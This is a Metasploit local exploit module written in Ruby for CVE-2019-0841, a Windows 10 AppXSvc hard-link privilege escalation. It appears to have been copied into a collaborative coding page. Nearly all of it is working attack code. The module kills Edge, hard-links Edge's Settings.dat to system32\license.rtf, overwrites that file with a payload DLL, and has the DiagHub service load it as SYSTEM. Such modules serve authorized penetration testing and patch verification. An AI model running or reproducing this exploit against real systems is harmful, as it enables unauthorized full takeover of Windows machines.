Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Exploit::Local
7
  Rank = NormalRanking
8

9
  include Exploit::EXE
10
  include Post::File
11
  include Post::Windows::Priv
12
  include Post::Windows::FileInfo
13
  include Exploit::FileDropper
14

15
  def initialize(info = {})
16
    super(
17
      update_info(
18
        info,
19
        'Name' => 'AppXSvc Hard Link Privilege Escalation',
20
        'Description' => %q{
21
          There exists a privilege escalation vulnerability for
22
          Windows 10 builds prior to build 17763. Due to the AppXSvc's
23
          improper handling of hard links, a user can gain full
24
          privileges over a SYSTEM-owned file. The user can then utilize
25
          the new file to execute code as SYSTEM.
26

27
          This module employs a technique using the Diagnostics Hub Standard
28
          Collector Service (DiagHub) which was discovered by James Forshaw to
29
          load and execute a DLL as SYSTEM.
30
        },
31
        'License' => MSF_LICENSE,
32
        'Author' => [
33
          'Nabeel Ahmed', # Vulnerability discovery and PoC
34
          'James Forshaw',     # Code creating hard links and communicating with DiagHub service
35
          'Shelby Pace'        # Metasploit module
36
        ],
37
        'References' => [
38
          [ 'CVE', '2019-0841' ],
39
          [ 'URL', 'https://krbtgt.pw/dacl-permissions-overwrite-privilege-escalation-cve-2019-0841/' ],
40
          [ 'URL', 'https://googleprojectzero.blogspot.com/2015/12/between-rock-and-hard-link.html' ],
41
          [ 'URL', 'https://googleprojectzero.blogspot.com/2018/04/windows-exploitation-tricks-exploiting.html' ],
42
          [ 'URL', 'https://0x00-0x00.github.io/research/2019/05/30/Coding-a-reliable-CVE-2019-0841-Bypass.html' ]
43
        ],
44
        'Platform' => 'win',
45
        'SessionTypes' => [ 'meterpreter' ],
46
        'Targets' => [
47
          [ 'Windows 10', { 'Platform' => 'win' } ]
48
        ],
49
        'DisclosureDate' => '2019-04-09',
50
        'DefaultTarget' => 0
51
      )
52
    )
53
  end
54

55
  def check
56
    version = get_version_info
57
    if version.build_number.between?(Msf::WindowsVersion::Win10_InitialRelease, Msf::WindowsVersion::Win10_1803)
58
      return CheckCode::Appears
59
    elsif version.build_number >= Msf::WindowsVersion::Win10_InitialRelease
60
      return CheckCode::Detected
61
    end
62

63
    return CheckCode::Unknown
64
  end
65

66
  def upload_file(file_name, file_path)
67
    contents = File.read(File.join(Msf::Config.data_directory, 'exploits', 'CVE-2019-0841', file_name))
68
    write_file(file_path, contents)
69
    register_file_for_cleanup(file_path)
70
  rescue StandardError
71
    fail_with(Failure::UnexpectedReply, 'Failed to write file contents to target')
72
  end
73

74
  def init_process
75
    print_status('Attempting to launch Microsoft Edge minimized.')
76
    cmd_exec('cmd.exe /c start /min microsoft-edge:', nil, 30)
77
  end
78

79
  def mk_hard_link(src, target, link_exe)
80
    out = cmd_exec("cmd.exe /c #{link_exe} \"#{src}\" \"#{target}\"")
81

82
    return (out && out.include?('Done'))
83
  end
84

85
  def write_payload
86
    print_status('Writing the payload to disk')
87
    code = generate_payload_dll
88
    @original_data = read_file(@rtf_path)
89
    write_file(@rtf_path, code)
90
  end
91

92
  def exploit
93
    vuln_status = check
94
    fail_with(Failure::NotVulnerable, 'Failed to detect Windows 10') if vuln_status == CheckCode::Unknown
95

96
    fail_with(Failure::None, 'Already running with SYSTEM privileges') if is_system?
97
    cmd_exec('taskkill /F /IM MicrosoftEdge.exe /FI "STATUS eq RUNNING"')
98
    dat_path = expand_path('%USERPROFILE%\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\Settings\\Settings.dat')
99
    fail_with(Failure::NotFound, 'Path does not exist') unless exist?(dat_path)
100

101
    if session.arch == ARCH_X86
102
      exe_name = 'CVE-2019-0841_x86.exe'
103
      f_name = 'diaghub_load_x86.exe'
104
    elsif session.arch == ARCH_X64
105
      exe_name = 'CVE-2019-0841_x64.exe'
106
      f_name = 'diaghub_load_x64.exe'
107
    end
108
    link_file_name = expand_path("%TEMP%\\#{Rex::Text.rand_text_alpha(6...8)}.exe")
109
    upload_file(exe_name, link_file_name)
110

111
    @rtf_path = expand_path('%WINDIR%\\system32\\license.rtf')
112
    fail_with(Failure::UnexpectedReply, 'Did not retrieve expected output') unless mk_hard_link(dat_path, @rtf_path, link_file_name)
113
    print_good('Successfully created hard link')
114
    init_process
115
    cmd_exec('taskkill /F /IM MicrosoftEdge.exe')
116

117
    write_payload
118
    diaghub_path = expand_path("%TEMP%\\#{Rex::Text.rand_text_alpha(8..12)}")
119
    upload_file(f_name, diaghub_path)
120
    cmd = "\"#{diaghub_path}\" \"license.rtf\""
121
    cmd_exec(cmd)
122
  end
123

124
  def cleanup
125
    folder_path = expand_path('%TEMP%\\etw')
126
    dir_rm(folder_path)
127

128
    unless @rtf_path.nil?
129
      write_file(@rtf_path, @original_data)
130
    end
131
    super
132
  end
133
end
134

135